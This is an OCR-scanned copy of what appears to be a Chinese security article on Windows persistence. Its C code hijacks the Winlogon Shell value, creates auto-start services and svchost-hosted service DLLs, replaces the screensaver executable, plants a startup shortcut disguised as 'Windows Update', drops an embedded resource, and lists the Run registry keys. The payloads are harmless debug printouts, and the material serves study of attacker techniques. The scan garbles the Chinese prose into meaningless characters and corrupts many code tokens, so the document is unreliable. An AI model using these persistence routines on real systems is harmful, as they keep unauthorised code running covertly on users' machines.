Winlogon\Shell FE/AINEEREF K2 LB AL BR,
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BOOL add_winlogon_helper()
{
BOOL ret = FALSE;
LONG rcode = NULL;
DWORD key_value_type;
BYTE shell_value_buffer[MAX_PATH * 27;
DWORD value_buffer_size = sizeof(shell_value_buffer) ;
HKEY winlogon_key = NULL;
DWORD set_value_size;
BYTE path[MAX_PATH];

rcode = RegOpenKeyEx(HKEY_CURRENT_USER, _TEXT("Software\\Microsoft\\Windows
NT\\CurrentVersion\\Winlogon™"),
NULL, KEY_ALL_ACCESS, &winlogon_key);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;

}

//
rcode = RegQueryValueEx(winlogon_key, _TEXT("shell"), NULL, &key_value_type,
shell_value_buffer, &value_buffer_size);
if (rcode !'= ERROR_SUCCESS)
{
/AR ENRE
if (rcode == 0x2)
{
//SAexplorer.exe Ml BHENXKRZ
1strcpy((TCHAR*)path, _TEXT("explorer.exe, rundll32.exe \"C:\\topse
c.dl1\" RunProc™));
set_value_size = lstrlen((TCHAR*)path) * sizeof(TCHAR) + sizeof(TCHA

R);

rcode = RegSetValueEx(winlogon_key, _TEXT("shell"), NULL, REG_SZ, pa
th, set_value_size);
if (rcode != ERROR_SUCCESS)

{
goto ERROR_EXIT;
}
}
else
{
goto ERROR_EXIT;
}
}
else
{

//RFEFE, BMEA

1strcat((TCHAR*)shell_value_buffer, _TEXT(",rundl132.exe \"C:\\topsec.dl
1\" RunProc"));

set_value_size = 1strlen((TCHAR*)shell_value_buffer) * sizeof(TCHAR) + s
izeof (TCHAR);

rcode = RegSetValueEx(winlogon_key, _TEXT("shell"), NULL, REG_SZ, shell_
value_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{
goto ERROR_EXIT;

3
}
ret = TRUE; N

ERROR_EXIT:

if (winlogon_key != NULL)
{

RegCloseKey(winlogon_key);

https://paper.seebug.org/1007/ 26/62
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winlogon_key = NULL;
}

return ret;

Hriitopsec.dll B9SH &£ RunProc {3401 T

extern "C" __declspec(dllexport) void RunProc(HWND hwnd,HINSTANCE hinst, LPTSTR
1pCmdLine,int nCmdShow)

{
while (TRUE)
{
OutputDebugString(_TEXT("Hello Topsec with Rundl132!!!™));
Sleep(1000);
}
}

BITHRE

HiZAPF TRERHREWInlogonEHEIRUNdIIB2ERF, BE T SEMBTUKAIDLLXHHITH
SHRE, WTEMR, BRRERITH:

File Options View Process Find Users Help
- AEI =N ER =N T J | P S— a
Process CFU Private B... | Working Sest . —3 I_EI
[ svehost. sxe 1628 K s 312 ki m"dlaz'm;z%.tpm“m'.’__ =
= R 6, BB8 K T, 9 K
ﬁ“"““:_ el S [ rtweads | rteepe | secwity | Enviooment | strings
a7 taskhost. exe 0.34 5 660 E 5, 068 K image | Perfomance | PerformanceGraph | GPU Graph
[87] 15855, exe LEI2 R 3iTE R tmage Fle
] ism axe [N - LINE L34 K s rim
Sl esrss. axa .30 4,792 E 11, 660 X J Wrdaws EHFE Rundl3l)
[ contiost. exe 740 E 2,804 E Microsoft Corporation
Ejwinlozon. sze 1,88 E 5,268 E version:  6.1.7600. 16385
i) euplorer. sxe 1 :T- 16,632 K 32 :i'f ] Buid Time: Tue I 13 07:41:43 2009
Srun:dlla:. E £ 0.0 %64 K 3, M0 K Path:
C:Yiindows\System32\yundl32.exe
CPU Usage: 7.94%  Commit Charge: 33.48% Processes: 37 Physicall Command line:
rundll32-exe "C:\opsec. dI” RurFroc
DebugView on WWIN-D3JUBNKIIH2 (local) — st
urren rectory:
File Edit Capture Options Computer Help C:\Windows\System3z\
EHE | X &= @A EBRBT SF * Autostart Location:
M Tine Debug Print HKCU\SOFTWARE elicrasa ft Windows NT\Currentversion'win
746 75647723492 [2484] Hello Topsec with Rundlliz|| omet | <HorexitetFroc -
T4T T57.48966616 [2454] Hello Topsec with Rundl132110 FEnk sHoneas se>(2196) [ verity |
748 T6E. 60183106 [2464] Hello Topsec with Rundll32i1) User: WIN-D3IUGNEISH 2 Think
748 169, 956785654 [2464] Hello Topsec with Rund1132111) " . Bring 1o Frant
750 760.99737649 [2464] Hello Topeec with Rundll3zlil Started:  10:23:05 2015/7/15
THL 762 02636719 [2464] Hello Topsec with Rundlliz|| comment: | [ il Process ]
762 T62. 655743408 [2484] Hello Topsec with Rundl132111
763 76367135010 [2484] Hello Topsec with Rundl132111 VrusTotal:
T84 14, 68626611 [248d] Hello Topsec with Rund1132111) i i
7HE  TEE. 58930420 [2464] Hella Topzec with Fundl13211] Data Exeaution Prevention (DEF) Status: Enabled
756 T66.61364Td6  [2484] Hello Topsec with Rundl13211 Address Space Load Randomization:  Enabled
75T T67. 62713623 [2464] Hello Topsec with Rundl132I11 P
768 TEE. 64111328 [2484] Hello Topsec with Rundll32011 Control Flow Guard: )
A

BT EREMRBERR U TEMR:
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rp—— : o |
(TR SRE BV GE=E) EDH B
Windows M: = | S =] byt
Windows Me ab| (@ELA) REG_S7 @EEES
4k Windows NT | i iidumber  REG_DWORD 0x00001db1 (7601)

‘ CurrentVy ab|ExcludeProfile.. REG_SZ AppDatatLocal;AppData’\Locallow;$Recycle.Bin
Dewice

fre 3£ REG DWORD 0x00000000 {0)
MsiC m REG_SZ explorer.exe,rundll32.exe "C\topsec.dll® RunProc I
siCe

. PeerN
| . Printe
I Softw:

Windc

Winlo
Windows Sei
Windows Sic

Wisp i

Policies
Sysinternals E
ThinPrint
VMiware, Inc,

System
Volatile Environmer _

4 (] k

THEHIAHKEY_CURRENT_U SER\QDM‘;;C\MR rosoft\Windows NT\CurrentVersion\Winlogon

WERERAE

MEM T2 EMRBEEFAI"Shell”, “Userinit”. “Notify"ERER S EEARRHNREFERZ
1) HKLM\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\
2) HKCU\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\
KPERREW T ER:

1) Winlogon\Notify - BRiAfEEIZLEEWinlogonE4HAYEANEIDLL

2) Winlogon\Userinit - 2kiAfg@userinit.exe, ENAFEZRBITHRPMBLIER

3) Winlogon\Shell - ZtiAjE@Eexplorer.exe, ENFAF&EZRHITHR Sishell

EoBRSS#HTE
[RERAHENTE

WindowsfRSHIECEESFMAEMERT, —TRSIATSRE, BEERNERS, METER
SHhRERRAIEE.

“DisplayName”, FfFEE, WNRSAR;

“Description”, F{FEE{E, XNMNMARSHIAR;

“ImagePath”, FRIH(E, NN IZARSZIEFMENRR;

“ObjectName”, F&FE{E, {EN"LocalSystem”, RRAMER;
“ErrorControl”, DWORD{E, f&EX"1";

“Start”, DWORDfH, {EN2RTRBMIEIT, ER3RTFNET, BERIRTEL;

“Type”, DWORDE, NAERXIN10, EHfhitN20,
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AXE, BIREZ TR ImagePath”, “Start”, “Type"=MR{E, “ImagePath"EXh B CHNEFE
2, "Start'B82, BmhEfT, “Type" AN 10K AER.

ETRABAE— RS, EXE, BINEENRSR COMSysAPp’, K& Type'H10,
IR ERR AT

HKEY hKey;
DWORD dwDisposition;
DWORD dwData = 2;

const char system[] = "C:\\SeviceTopSec.exe";//hello.exe

if (ERROR_SUCCESS != RegCreateKeyExACHKEY_LOCAL_MACHINE,

"SYSTEM\\CurrentControlSet\\services\\COMSysApp", @, NULL, @, KEY_WRITE,
NULL, &hKey, &dwDisposition))

{

return 0;

}

if (ERROR_SUCCESS != RegSetValueExA(hKey, "ImagePath", @, REG_EXPAND_SZ, (BY
TE*)system, (1 + ::lstrlenA(system))))

{
return 0;

}

if (ERROR_SUCCESS != RegSetValueExA(hKey, "Start", @, REG_DWORD, (BYTE*)& dw
Data, sizeof(DWORD)))

{

return 0;
3
return 0;

{BR"ImagePath"hiNEFH A B EBINER, FEMRI—LIFEMNAPI, TRRSHEIERE,
BERE, —METRSEHEEEFZOERNEFES TE=TRE:

RSEFEEE (main) : ERRZEE StartServiceCtrIDispatcher EIZEF T A EFIRSITHE
BERF.

RSAOREE (ServiceMain) : HATERSHIAMHIES, BERBITSTRSHMSHEEER SRS
ANORREL

EHIRSAERRFRE (Handler) : ERSEFKEIZHIERITHAIZSD R EES IR,
ARSSIEF BT
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HANDLE hServiceThread;

void KillService(Q);

char* strServiceName = "sev_topsec";
SERVICE_STATUS_HANDLE nServiceStatusHandle;
HANDLE killServiceEvent;

BOOL nServiceRunning;

DWORD nServiceCurrentStatus;

void main(int argc, char* argv[])

{
SERVICE_TABLE_ENTRYA ServiceTable[] =

{
{strServiceName, (LPSERVICE_MAIN_FUNCTIONA)ServiceMain},
{NULL,NULL}
3
BOOL success;
success = StartServiceCtrlDispatcherA(ServiceTable);
if (!success)
{
printf("fialed!");
}
}

void ServiceMain(DWORD argc, LPTSTR* argv)

{
BOOL success;
nServiceStatusHandle = RegisterServiceCtrlHandlerA(strServiceName,
(LPHANDLER_FUNCTION)ServiceCtrlHandler);
success = ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, @, 1, 3000);
killServiceEvent = CreateEvent(@, TRUE, FALSE, 0);
if (killServiceEvent == NULL)
{
return;
}
success = ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, @, 2, 1000);
success = InitThread(Q);
nServiceCurrentStatus = SERVICE_RUNNING;
success = ReportStatusToSCMgr(SERVICE_RUNNING, NO_ERROR, @, 0, @);
WaitForSingleObject(killServiceEvent, INFINITE);
CloseHandle(killServiceEvent);
}

BOOL ReportStatusToSCMgr(DWORD dwCurrentState, DWORD dwWin32ExitCode,DWORD dwSer
viceSpecificExitCode, DWORD dwCheckPoint,DWORD dwWaitHint)
{
BOOL success;
SERVICE_STATUS nServiceStatus;
nServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
nServiceStatus.dwCurrentState = dwCurrentState;

//
if (dwCurrentState == SERVICE_START_PENDING)
{
nServiceStatus.dwControlsAccepted = 0;
}
else
{
nServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
| SERVICE_ACCEPT_SHUTDOWN;
}
if (dwServiceSpecificExitCode == @) A
{
nServiceStatus.dwWin32ExitCode = dwWin32ExitCode;
}
else
{

https://paper.seebug.org/1007/ 30/62
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nServiceStatus.dwWin32ExitCode = ERROR_SERVICE_SPECIFIC_ERROR;

}

nServiceStatus.dwServiceSpecificExitCode = dwServiceSpecificExitCode;

//

nServiceStatus.dwCheckPoint = dwCheckPoint;
nServiceStatus.dwWaitHint = dwWaitHint;

success = SetServiceStatus(nServiceStatusHandle, &nServiceStatus);
if (!success)
{
KillService(Q);
return success;
}
else
return success;
}
BOOL InitThread()
{
DWORD 1id;
hServiceThread = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE)OQutputString,
0, 0, &id);
if (hServiceThread == 0)
{
return false;
}
else
{
nServiceRunning = true;
return true;
}
}
DWORD OQutputString(LPDWORD param)
{
OutputDebugString(L"Hello TopSec\n™");
return 0;
}
void KillService()
{
nServiceRunning = false;
SetEvent(killServiceEvent);
ReportStatusToSCMgr(SERVICE_STOPPED, NO_ERROR, @, @, 0);
}
void ServiceCtrlHandler(DWORD dwControlCode)
{
BOOL success;
switch (dwControlCode)
{
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
nServiceCurrentStatus = SERVICE_STOP_PENDING;
success = ReportStatusToSCMgr(SERVICE_STOP_PENDING, NO_ERROR, O,
0;
KillService();
return;
default:
break;
}
ReportStatusToSCMgr(nServiceCurrentStatus, NO_ERROR, @, @, 0);
}
IBITRE

FAEBUEMRFRORIE
https://paper.seebug.org/1007/
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AR 2 BRE  CU M. MRBREER WO
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WERBRAE

1. REEMRPSENEFTRAEMRTBIE L

2. MBEEMRSHFEHZRAN.

BiRERARIPER

REEREBNEA

REBRIPEN T RIPERSBMRITN—MEINERF. SERITEFREN T B BRI ARIEM
FEERBRNEERE—TEH, SHEAMBEERSEFH. AFE—ENERATENEMREZ
EEPITRERIPER, BREFNEA saXBy RBNFAHITXXHE (PE) .

HHEEFIMNELERBRIPEFRENERFEMRETNENN —ENBRZEETERRG, B
N ARBRIPEFIRERET BN,

EERIFEFNEEESERETIEMRD, BIIHKCU\Control Panel\Desktop, Ffi1thrAI @
W E X BRERIINE TR

SCRNSAVE.EXE - iR EREEPERZ

ScreenSaveActive - IR ER"1"AG A RERIPIERF

ScreenSaverlsSecure - IREN"0", FHEEZIDENEIAZH

ScreenSaverTimeout - I8 EEBFHRIFTEF B BI R SR = WA E,
BARMNER, IUNEEMEREREIMRIAIRATIE, [kt
(https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-

server/cc978622(v=technet.10)),

ATHRIEETR T BT FREFRZIMEFAML:
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BOOL add_to_screensaver()
{
BOOL ret = FALSE;
LONG rcode = NULL;
DWORD key_value_type;
BYTE shell_value_buffer[MAX_PATH * 27;
DWORD value_buffer_size = sizeof(shell_value_buffer) ;
HKEY desktop_key = NULL;
DWORD set_value_size;
BYTE set_buffer[MAX_PATH];

rcode = RegOpenKeyEx(HKEY_CURRENT_USER, _TEXT("Control Panel\\Desktop"),
NULL, KEY_ALL_ACCESS, &desktop_key);

if (rcode !'= ERROR_SUCCESS)

{
goto ERROR_EXIT;

}

//

value_buffer_size = sizeof(shell_value_buffer);

rcode = RegQueryValueEx(desktop_key, TEXT("ScreenSaveActive"), NULL, &key_va
lue_type, shell_value_buffer, &value_buffer_size);

if (rcode !'= ERROR_SUCCESS)

{

//RAEIIEENRE, HBARTERRINEE,

if (rcode == 0x2)

{
/I BREFBEEFEKEZ
1strcpy((TCHAR*)set_buffer, _TEXT("C:\\topsec.exe"));
set_value_size = 1lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeo

f(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE"), NULL, REG_

SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;

}

//REREINE, 60 IR INEEEREBERR
1strcpy((TCHAR*)set_buffer, _TEXT("60"));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeo

F(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveTimeQOut"), NULL,
REG_SZ, set_buffer, set_value_size);
if (rcode !'= ERROR_SUCCESS)

{

goto ERROR_EXIT;
}
// FFBRRINEE

1strcpy((TCHAR*)set_buffer, _TEXT("1"));

set_value_size = 1strlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeo

f(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveActive"), NULL,
REG_SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)

{
goto ERROR_EXIT;
1
}
else
{

https://paper.seebug.org/1007/
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goto ERROR_EXIT;

}
else
{
//EREGFE, EABREERIFIIE, SERERIRE, HFREFERINERSEERR
if(lstremp(_TEXT("1"), (TCHAR*)shell_value_buffer) == NULL)
{
//ERREHRT
value_buffer_size = sizeof(shell_value_buffer);
rcode = RegQueryValueEx(desktop_key, TEXT("SCRNSAVE.EXE"), NULL, &ke
y_value_type, shell_value_buffer, &value_buffer_size);
if(rcode !'= ERROR_SUCCESS && rcode !'= 0x2)

{
goto ERROR_EXIT;

}
//%4ScreenSaveActivefERl MXATFESCRNSAVE . EXERY, &1,
if(rcode != 0x2)
{
rcode = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE.BAK"), NU
LL, REG_SZ, shell_value_buffer, value_buffer_size);
if (rcode !'= ERROR_SUCCESS)

{
goto ERROR_EXIT;
}
}
/BN IRETER

1strcpy((TCHAR*)set_buffer, _TEXT("C:\\topsec.exe"));
set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeo
f(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE"), NULL, REG_
SZ, set_buffer, set_value_size);
if (rcode !'= ERROR_SUCCESS)
{
goto ERROR_EXIT;

}

/7R E B R EF RST8]
value_buffer_size = sizeof(shell_value_buffer);
rcode = RegQueryValueEx(desktop_key, TEXT("ScreenSaveTimeOut"), NUL
L, &key_value_type, shell_value_buffer, &value_buffer_size);
if(rcode !'= ERROR_SUCCESS && rcode == 0x2)
{
/ /& B REhiTE , 60F TLREAR R & IE R BB R R R
1strcpy((TCHAR*)set_buffer, _TEXT("60"));
set_value_size = 1strlen((TCHAR*)set_buffer) * sizeof(TCHAR) + s
izeof (TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveTimeQOut"), N
ULL, REG_SZ, set_buffer, set_value_size);
if (rcode !'= ERROR_SUCCESS)
{
goto ERROR_EXIT;
}

}
else if(lstrecmp(_TEXT("Q"), (TCHAR*)shell_value_buffer) == NULL)

{
//EERNO, RABRSRIFIEE

/R EGEMEREE

1strcpy((TCHAR*)set_buffer, _TEXT("C:\\topsec.exe"));

set_value_size = 1strlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeo
f(TCHAR) ;
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rcode = RegSetValueEx(desktop_key, _TEXT(C"SCRNSAVE.EXE"), NULL, REG_

SZ, set_buffer, set_value_size);

f(TCHAR);

if (rcode != ERROR_SUCCESS)

i
goto ERROR_EXIT;

3
//RERMIYE, 60M TRIMERENEEFR

1strcpy((TCHAR*)set_buffer, _TEXT("60"));
set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeo

rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveTimeQOut"), NULL,

REG_SZ, set_buffer, set_value_size);

f(TCHAR);

if (rcode != ERROR_SUCCESS)

i

goto ERROR_EXIT;
}
//FIBRRINEE

1strcpy((TCHAR*)set_buffer, _TEXT("1"));
set_value_size = 1lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeo

rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveActive"), NULL,

REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{
goto ERROR_EXIT;
}
}
}
ret = TRUE;
ERROR_EXIT:
if (desktop_key != NULL)
{
RegCloseKey(desktop_key);
desktop_key = NULL;
}
return ret;

Hrhtopsec.exe REIBEITF:

#include "stdafx.h"
#include <Windows.h>
#include <tchar.h>

int _tmain(int argc, _TCHAR* argv[])

{

int i = 10000;

while(i)

{

}

i--;

Sleep(1000);
OutputDebugString(_TEXT("Hello Topsec!!!"));

return 0;
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BOOL search_svchost_service_name(TCHAR* service_name_buffer, PDWORD buffer_size)

{

BOOL bRet = FALSE;

int rc = 0;

HKEY hkRoot;

BYTE buff[2048];

TCHAR* ptr = NULL;

DWORD type;

DWORD size = sizeof(buff);

int i = 0;

bool bExist = false;

TCHAR tmp_service_name[507;

TCHAR* pSvchost = _TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Sv
chost");

rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, @, KEY_ALL_ACCESS, &hkRoot);
if(ERROR_SUCCESS != rc)

{
return NULL;
}
rc = RegQueryValueEx(hkRoot, _TEXT("netsvcs™), 0, &type, buff, &size);
SetLastError(rc);
if(ERROR_SUCCESS != rc)
{
Reg(CloseKey(hkRoot);
return NULL;
}
do
{
wsprintf(tmp_service_name, _TEXT("netsvcs_0x%d"), i);
for(ptr = (TCHAR*)buff; *ptr; ptr = _tcschr(ptr, 0)+1)
{
if (lstrcmpi(ptr, tmp_service_name) == 0)
{
bExist = true;
break;
}
}
if (bExist == false)
{
break;
}
bExist = false;
i++;
} while(D);

memcpy(buff + size - sizeof(TCHAR), tmp_service_name, lstrlen(tmp_service_na

me) * sizeof(TCHAR) + sizeof(TCHAR));

rc = RegSetValueEx(hkRoot, _TEXT("netsvcs"), @, REG_MULTI_SZ, buff, size + 1

strlen(tmp_service_name) * sizeof(TCHAR) + sizeof(TCHAR));

if(ERROR_SUCCESS != rc)

{
goto ERROE_EXIT;

}

if (bExist == false)

{
1strcpyn(service_name_buffer, tmp_service_name, *buffer_size);
*puffer_size =lstrlen(service_name_buffer);

}

bRet = TRUE;

https://paper.seebug.org/1007/
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ERROE_EXIT:
if (hkRoot != NULL)
{
RegCloseKey(hkRoot);
hkRoot = NULL;
3

return bRet;

BOOL install_service(LPCTSTR full_dll_path, TCHAR* service_name_buffer, PDWORD b
uffer_size)

{

BOOL bRet = FALSE;

int rc = 0;

HKEY hkRoot = HKEY_LOCAL_MACHINE;

HKEY hkParam = 0;

SC_HANDLE hscm = NULL;

SC_HANDLE schService = NULL;

TCHAR  strModulePath[MAX_PATH];

TCHAR  strSysDir[MAX_PATH];

DWORD  dwStartType = 0;

BYTE buff[1024];

DWORD type;

DWORD size = sizeof(buff);

TCHAR* binary_path = _TEXT("%SystemRoot%\\System32\\svchost.exe -k netsvc
s");

TCHAR* ptr;

TCHAR* pSvchost = _TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Sv
chost");

rc = RegOpenKeyEx(hkRoot, pSvchost, @, KEY_QUERY_VALUE, &hkRoot);
1f(ERROR_SUCCESS != rc)
{

goto ERROR_EXIT;

}

rc = RegQueryValueEx(hkRoot, _TEXT("netsvcs™), 0, &type, buff, &size);
RegCloseKey(hkRoot);
SetLastError(rc);
if(ERROR_SUCCESS != rc)
{
goto ERROR_EXIT;

}

//install service
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hscm == NULL)
{
goto ERROR_EXIT;
}

if(!search_svchost_service_name(service_name_buffer, buffer_size))

{
goto ERROR_EXIT;

}

schService = CreateService(
hscm, // SCManager database
service_name_buffer, // name of service
service_name_buffer, // service name to display
SERVICE_ALL_ACCESS, // desired access

https://paper.seebug.org/1007/
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SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
binary_path, // service's binary

NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies

NULL, // LocalSystem account
NULL); // no password

dwStartType = SERVICE_WIN32_OWN_PROCESS;

if (schService == NULL)
{

goto ERROR_EXIT;
}

CloseServiceHandle(schService);
CloseServiceHandleChscm);

//config service
hkRoot = HKEY_LOCAL_MACHINE;

1strcpy((TCHAR*)buff, _TEXT("SYSTEM\\CurrentControlSet\\Services\\"));

1strcat((TCHAR*)buff, service_name_buffer);

rc = RegOpenKeyEx(hkRoot, (TCHAR*)buff, @, KEY_ALL_ACCESS, &hkRoot);

1f(ERROR_SUCCESS != rc)

{
goto ERROR_EXIT;

}

rc = RegCreateKey(hkRoot, _TEXT("Parameters"), &hkParam);

1f(ERROR_SUCCESS != rc)

{
goto ERROR_EXIT;

}

rc = RegSetValueExChkParam, _TEXT("ServiceD11"), @, REG_EXPAND_SZ, (PBYTE)fu

11_dl1l_path, 1strlen(full_dl1l_path)
if(ERROR_SUCCESS !'= rc)

* s1zeof (TCHAR) + sizeof(TCHAR));

{
goto ERROR_EXIT;

}

bRet = TRUE;

ERROR_EXIT:

if(hkParam != NULL)

{

RegCloseKey(hkParam);
hkParam = NULL;

3

if(schService != NULL)

{
CloseServiceHandle(schService);
schService = NULL;

}

ifChscm !'= NULL)

{

CloseServiceHandleChscm);
hscm = NULL;

}

return bRet;

void start_service(LPCTSTR 1pService)

https://paper.seebug.org/1007/
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{
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE

J;
if ( NULL !'= hSCManager )
{
SC_HANDLE hService = OpenService(hSCManager, 1pService, DELETE | SERVICE
_START);
if C NULL !'= hService )
{
StartService(hService, @, NULL);
CloseServiceHandle( hService );
}
CloseServiceHandle( hSCManager );
}
}

BOOL add_to_service()
{
//
BOOL bRet = FALSE;
DWORD service_name_size;
TCHAR service_name[MAXBYTE * 27;

service_name_size = sizeof(service_name) / sizeof(TCHAR);

if(install_service(_TEXT("C:\\service.dl1"),service_name, &service_name_siz

e))

{
start_service(service_name);
_tprintf(_TEXT("install service successful!!!"));
bRet= TRUE;

}

else

{
_tprintf(_TEXT("can not install service!!!"));

}

return bRet;

MIRSDLLLEERE—EMNREN, ZRSBS IS ServiceMain() R EFHEF
RegisterServiceCtriHandlerEx() R G M Service Handler, B{RRARSDLLAIRIBINTOT
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BOOL APIENTRY D11Main( HMODULE hModule,

DWORD ul_reason_for_call,
LPVOID 1pReserved
)

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:
break;

}

return TRUE;

SERVICE_STATUS_HANDLE g_service_status_handle = NULL;

SERVICE_STATUS g_service_status =

{

E

1

SERVICE_WIN32_SHARE_PROCESS,
SERVICE_START_PENDING,
SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINU

DWORD WINAPI ServiceHandler(DWORD dwControl,DWORD dwEventType,LPVOID lpEventDat
a,LPVOID 1pContext)

{

}

switch (dwControl)

{

case SERVICE_CONTROL_STOP:

case SERVICE_CONTROL_SHUTDOWN:
g_service_status.dwCurrentState = SERVICE_STOPPED;
break;

case SERVICE_CONTROL_PAUSE:
g_service_status.dwCurrentState = SERVICE_PAUSED;
break;

case SERVICE_CONTROL_CONTINUE:
g_service_status.dwCurrentState = SERVICE_RUNNING;
break;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;

1
SetServiceStatus(g_service_status_handle, &g_service_status);

return NO_ERROR;

extern "C" __declspec(dllexport) VOID WINAPI ServiceMain(DWORD dwArgc,LPCTSTR* 1
pszArgv)

{

g_service_status_handle = RegisterServiceCtrlHandlerEx(_TEXT("Svchost Servic

e"), ServiceHandler, NULL);

if (!g_service_status_handle)
{
return;

}

g_service_status.dwCurrentState = SERVICE_RUNNING;

SetServiceStatus(g_service_status_handle, &g_service_status);

https://paper.seebug.org/1007/
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while(TRUE)

{

Sleep(1000);

ATT&CK Z 511 Ak

OutputDebugString(_TEXT("Hello Topsec In Svchost"));

return;

1
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BOOL add_to_lnkfile()

{
BOOL ret = FALSE;
HRESULT hcode;
TCHAR startup_path[MAX_PATH],;
TCHAR save_path[MAX_PATH*2];
TCHAR command[MAXBYTE * 27;

IShelllLink* shelllnk = NULL;
IPersistFile* pstfile = NULL;

hcode = CoInitialize(NULL);
if Chcode !'= S_0K)
{

goto Error_Exit;

}

hcode = CoCreateInstance(CLSID_ShelllLink, NULL, CLSCTX_INPROC_SERVER, IID_IS
helllLink, (void**)&shelllnk);
if Chcode '= S_0K)
{
goto Error_Exit;

}

hcode = shelllnk->QueryInterface(IID_IPersistFile,(void**)&pstfile);
if Chcode '= S_0K)

{

goto Error_Exit;
}
/RBERERAGS

wsprintf(command, _TEXTC"C:\\windows\\system32\\rundl132.exe"));
hcode = shelllnk->SetPath(command);
if Chcode '= S_0K)
{
MessageBox(NULL, command, command,MB_0K);
goto Error_Exit;

}

wsprintf(command, _TEXT(" %s %s"), _TEXT("c:\\topsec.dll"), _TEXT("RunPro
c");
hcode = shelllnk->SetArguments(command);
if Chcode '= S_0K)
{
goto Error_Exit;

}

wsprintf(command, _TEXT("%s"), _TEXT("This is For Windows Update!!!"));
hcode = shelllnk->SetDescription(command);
if Chcode !'= S_0K)
{
goto Error_Exit;

}

hcode = shelllnk->SetWorkingDirectory(_TEXT("c:\\"));
if Chcode !'= S_0K)

{
goto Error_Exit;
}
//3RBUSEN B R
if(SHGetSpecialFolderPath(NULL, startup_path, CSIDL_STARTUP, FALSE) == FALS N
ED
{
goto Error_Exit;
3

wsprintf(save_path, _TEXT("%s\\%s"), startup_path, _TEXT("Windows Update.Ln

https://paper.seebug.org/1007/ 47/62



2019/8/17
kll))

b

hcode = pstfile->Save(save_path, TRUE);

if Chcode '= S_0K)
{

goto Error_Exit;

}

ret = TRUE;

Error_Exit:

if (shelllnk != NULL)

{
shelllnk->Release();

shelllnk = NULL;
3

if (pstfile != NULL)
{
pstfile->Release();
pstfile = NULL;
}
CoUninitialize(Q);
return ret;

MBE R ARRBT:
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BOOL ReleaseFile(LPTSTR resource_type, LPTSTR resource_name, LPCTSTR save_path)
{

BOOL ret = FALSE;

DWORD cb = NULL;

HRSRC h_resource = NULL;

DWORD resource_size = NULL;
LPVOID resource_pt = NULL;
HGLOBAL h_resource_load = NULL;
HANDLE save_file = NULL;

h_resource = FindResource(NULL, resource_name, resource_type);
if (NULL == h_resource)
{

goto Error_Exit;

}

resource_size = SizeofResource(NULL, h_resource);
if (@ >= resource_size)
{

goto Error_Exit;

}

h_resource_load = LoadResource(NULL, h_resource);
if (NULL == h_resource_load)
{

goto Error_Exit;

}

resource_pt = LockResource(h_resource_load);
if (NULL == resource_pt)
{

goto Error_Exit;

}

save_file = CreateFile(save_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREA
TE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(save_file == INVALID_HANDLE_VALUE)
{
goto Error_Exit;

}

for (DWORD i = Q; i < resource_size; i++)
{
if ((WriteFile(save_file,(PBYTE)resource_pt + i, sizeof(BYTE), &cb, NUL
L) == FALSE) Il
(sizeof(BYTE) != cb))

{
goto Error_Exit;
}
}
ret = TRUE;
Error_Exit:

if (h_resource_load '= NULL)

{

FreeResource(Ch_resource_load);
h_resource_load = NULL;

}

if Ch_resource != NULL)

{ N
CloseHandle(Ch_resource);
h_resource = NULL;

}

https://paper.seebug.org/1007/ 49/62
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return ret;

2.Run;E i RIR

EIMNBERT, EWindowsRF LBIETIIEITH:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

X THKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceExtia] FH,
